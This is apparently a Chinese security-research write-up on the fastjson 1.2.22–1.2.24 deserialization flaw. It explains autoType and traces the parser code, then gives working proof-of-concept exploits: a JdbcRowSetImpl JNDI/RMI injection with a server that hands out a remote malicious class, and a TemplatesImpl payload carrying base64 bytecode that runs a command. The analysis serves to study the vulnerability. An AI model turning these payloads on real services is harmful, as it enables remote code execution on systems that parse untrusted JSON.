什么是fastjson

Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。最早的通告在这里。而fastjson的用法可以先看看下面这个例子。

序列化

用IDEA创建一个空的Maven项目

  1. <dependencies>
  2. <!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
  3. <dependency>
  4. <groupId>com.alibaba</groupId>
  5. <artifactId>fastjson</artifactId>
  6. <version>1.2.24</version>
  7. </dependency>
  8. </dependencies>

新建一个Demo

Student.java

  1. public class Student {
  2. private String name;
  3. private int age;
  4. public Student() {
  5. System.out.println("构造函数");
  6. }
  7. public String getName() {
  8. System.out.println("getName");
  9. return name;
  10. }
  11. public void setName(String name) {
  12. System.out.println("setName");
  13. this.name = name;
  14. }
  15. public int getAge() {
  16. System.out.println("getAge");
  17. return age;
  18. }
  19. public void setAge(int age) {
  20. System.out.println("setAge");
  21. this.age = age;
  22. }
  23. }

Ser.java

  1. import com.alibaba.fastjson.JSON;
  2. import com.alibaba.fastjson.serializer.SerializerFeature;
  3. public class Ser {
  4. public static void main(String[] args){
  5. Student student = new Student();
  6. student.setName("Yang_99");
  7. student.setAge(80);
  8. String jsonstring = JSON.toJSONString(student, SerializerFeature.WriteClassName);
  9. System.out.println(jsonstring);
  10. }
  11. }

这里SerializerFeature.WriteClassNametoJSONString的一个属性值,设置之后在序列化的时候会多写入一个@type,即写上被序列化的类名,type可以指定反序列化的类,并且调用其getter/setter/is方法。

反序列化

序列化之后就是反序列化。

上面说了有parseObject和parse两种方法进行反序列化,现在来看看他们之间的区别

  1. public static JSONObject parseObject(String text) {
  2. Object obj = parse(text);
  3. return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
  4. }

parseObject其实也是使用的parse方法,只是多了一步toJSON方法处理对象。

  1. import com.alibaba.fastjson.JSON;
  2. public class Unser {
  3. public static void main(String[] args){
  4. String jsonstring="{\"@type\":\"Student\",\"age\":21,\"name\":\"Yang_99\"}";
  5. // System.out.println(JSON.parse(jsonstring));
  6. // System.out.println(JSON.parseObject(jsonstring));
  7. System.out.println(JSON.parseObject(jsonstring,Student.class));
  8. }
  9. }

fastjson1.2.22-1.2.24 - 图1

第一种和第二种是不能成功反序列化的,因为他们没有指定到底是哪个对象。所以不能正确转换。

正确的做法是:

fastjson1.2.22-1.2.24 - 图2

这样便能成功反序列化,可以看到parse成功触发了set方法,parseObject同时触发了set和get方法,因为这种autoType所以导致了fastjson反序列化漏洞

Fastjson反序列化漏洞

我们知道了Fastjson的autoType,所以也就能想到反序列化漏洞产生的原因是get或set方法中存在恶意操作,以下面demo为例

Student.java

  1. import java.io.IOException;
  2. public class Student {
  3. private String name;
  4. private int age;
  5. private String sex;
  6. public Student() {
  7. System.out.println("构造函数");
  8. }
  9. public String getName() {
  10. System.out.println("getName");
  11. return name;
  12. }
  13. public void setName(String name) {
  14. System.out.println("setName");
  15. this.name = name;
  16. }
  17. public int getAge() {
  18. System.out.println("getAge");
  19. return age;
  20. }
  21. public void setAge(int age) {
  22. System.out.println("setAge");
  23. this.age = age;
  24. }
  25. public void setSex(String sex) throws IOException {
  26. System.out.println("setSex");
  27. Runtime.getRuntime().exec("cmd /c calc");
  28. }
  29. }

Unser.java

  1. import com.alibaba.fastjson.JSON;
  2. public class Unser {
  3. public static void main(String[] args){
  4. String jsonstring ="{\"@type\":\"Student\":\"age\":80,\"name\":\"ghtwf01\",\"sex\":\"man\"}";
  5. System.out.println(JSON.parse(jsonstring));
  6. System.out.println(JSON.parseObject(jsonstring));
  7. // System.out.println(JSON.parseObject(jsonstring,Student.class));
  8. }
  9. }

成功弹出计算器。

Fastjson反序列化流程分析

fastjson1.2.22-1.2.24 - 图3

下断点进入parseObject

fastjson1.2.22-1.2.24 - 图4

然后进入parse方法。继续根进

fastjson1.2.22-1.2.24 - 图5

然后会创建一个DefaultJSONParser对象。

fastjson1.2.22-1.2.24 - 图6

经过判断解析的字符串是{还是[并设置token值,进入了parse方法

fastjson1.2.22-1.2.24 - 图7

因为之前设置了12(开头是{)

fastjson1.2.22-1.2.24 - 图8

之后继续跟踪进入parseObject方法

fastjson1.2.22-1.2.24 - 图9

这里的key会获得@type

然后通过TypeUtils.loadClass加载Class。

进入之后,首先会在mappings里寻找类。前面的条件都不满足,所以在这里找到了Student类

fastjson1.2.22-1.2.24 - 图10

接着就创建了ObjectDeserializer类调用了deserializer方法

fastjson1.2.22-1.2.24 - 图11

跟进getDeserializer方法fastjson1.2.22-1.2.24 - 图12

这里虽然进行了黑名单校验,但是黑名单只有Thread。

fastjson1.2.22-1.2.24 - 图13

最终成功到达了反序列化点

fastjson1.2.22-1.2.24 - 图14

进入一些set,get方法,弹到计算器

Fastjson 1.2.22-1.2.24反序列化漏洞

这个版本的jastjson有两条利用链——JdbcRowSetImpl和Templateslmpl

JdbcRowSetImpl利用链

JdbcRowSetImpl利用链最终的结果是导致JNDI注入,可以使用RMI+JNDI和LDAP+JNDI进行利用

漏洞复现

RMI+JNDI

POC如下,@type指向com.sun.rowset.JdbcRowSetImpl类,dataSourceName值为RMI服务中心绑定的Exploit服务,autoCommit有且必须为true或false等布尔值类型:

  1. {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

服务端JNDIServer.java

  1. import com.sun.jndi.rmi.registry.ReferenceWrapper;
  2. import javax.naming.NamingException;
  3. import javax.naming.Reference;
  4. import java.rmi.AlreadyBoundException;
  5. import java.rmi.RemoteException;
  6. import java.rmi.registry.LocateRegistry;
  7. import java.rmi.registry.Registry;
  8. public class JNDIServer {
  9. public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
  10. Registry registry = LocateRegistry.createRegistry(1099);
  11. Reference reference = new Reference("Exloit",
  12. "badClassName","http://127.0.0.1:8000/");
  13. ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
  14. registry.bind("Exploit",referenceWrapper);
  15. }
  16. }

远程恶意类badClassName.class

  1. public class badClassName {
  2. static{
  3. try{
  4. Runtime.getRuntime().exec("calc");
  5. }catch(Exception e){
  6. ;
  7. }
  8. }
  9. }

客户端JNDIClient.java

  1. import com.alibaba.fastjson.JSON;
  2. public class JNDIClient {
  3. public static void main(String[] argv){
  4. String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\", \"autoCommit\":true}";
  5. JSON.parse(payload);
  6. }
  7. }

运行弹出计算器

fastjson1.2.22-1.2.24 - 图15

漏洞分析

fastjson1.2.22-1.2.24 - 图16

如上文,跟到这个地方,准备反序列化这个类

fastjson1.2.22-1.2.24 - 图17

然后进入了setDataSourceName方法。

接着调用了setAutoCommit

fastjson1.2.22-1.2.24 - 图18

接着调用到setAutoCommit()函数,设置autoCommit值,其中调用了connect()函数

fastjson1.2.22-1.2.24 - 图19

这里的this.getDataSourceName()即为前面我们可控的值,所以就造成了JNDI注入漏洞。

调用栈如下

fastjson1.2.22-1.2.24 - 图20

LDAP和RMI区别不大

TemplatesImpl利用链

漏洞原理:Fastjson通过bytecodes字段传入恶意类,调用outputProperties属性的getter方法时,实例化传入的恶意类,调用其构造方法,造成任意命令执行。

但是由于需要在parse反序列化时设置第二个参数Feature.SupportNonPublicField,所以利用面很窄,但是这条利用链还是值得去学习

漏洞复现

TEMPOC.java

  1. import com.sun.org.apache.xalan.internal.xsltc.DOM;
  2. import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  3. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  4. import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  5. import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  6. import java.io.IOException;
  7. public class TEMPOC extends AbstractTranslet {
  8. public TEMPOC() throws IOException {
  9. Runtime.getRuntime().exec("open -a Calculator");
  10. }
  11. @Override
  12. public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
  13. }
  14. @Override
  15. public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
  16. }
  17. public static void main(String[] args) throws Exception {
  18. TEMPOC t = new TEMPOC();
  19. }
  20. }

把它生成的字节码拿去base64一下得到

  1. yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAhMVEVNUE9DOwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAJaGFGbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAtAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXQHAC4BAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAGVEVNUE9DAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAAAsABAAMAA0ADQAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABEADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABYADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAGQAIABoADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=

POC如下

  1. import com.alibaba.fastjson.JSON;
  2. import com.alibaba.fastjson.parser.Feature;
  3. public class JNDIClient {
  4. public static void main(String[] argv){
  5. String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAhMVEVNUE9DOwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAJaGFGbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAtAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXQHAC4BAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAGVEVNUE9DAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAAAsABAAMAA0ADQAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABEADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABYADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAGQAIABoADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],\"_name\":\"a.b\",\"_tfactory\":{ },\"_outputProperties\":{ },\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";
  6. JSON.parse(payload, Feature.SupportNonPublicField);
  7. }
  8. }

漏洞分析

还是跟刚才一样,前面的部分是一样的,我们看一下

fastjson1.2.22-1.2.24 - 图21

跟进parseField方法

fastjson1.2.22-1.2.24 - 图22

fastjson1.2.22-1.2.24 - 图23

解析出_bytecodes对应内容后,调用setValue()函数设置对应的值。这里value即为恶意二进制内容。继续跟进

fastjson1.2.22-1.2.24 - 图24

使用lset方法来设置_bytecodes的值。

接着解析到了_outputProperties的内容

fastjson1.2.22-1.2.24 - 图25

进入setValue

fastjson1.2.22-1.2.24 - 图26

这里调用了反射的invoke方法。使用反射,调用了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()方法。

fastjson1.2.22-1.2.24 - 图27

至于Templates的链子,请移步CC3链子的分析。这里只做简单跟踪

fastjson1.2.22-1.2.24 - 图28

最终执行字节码

fastjson1.2.22-1.2.24 - 图29

参考:http://www.lmxspace.com/2019/06/29/FastJson-反序列化学习/

https://xz.aliyun.com/t/8979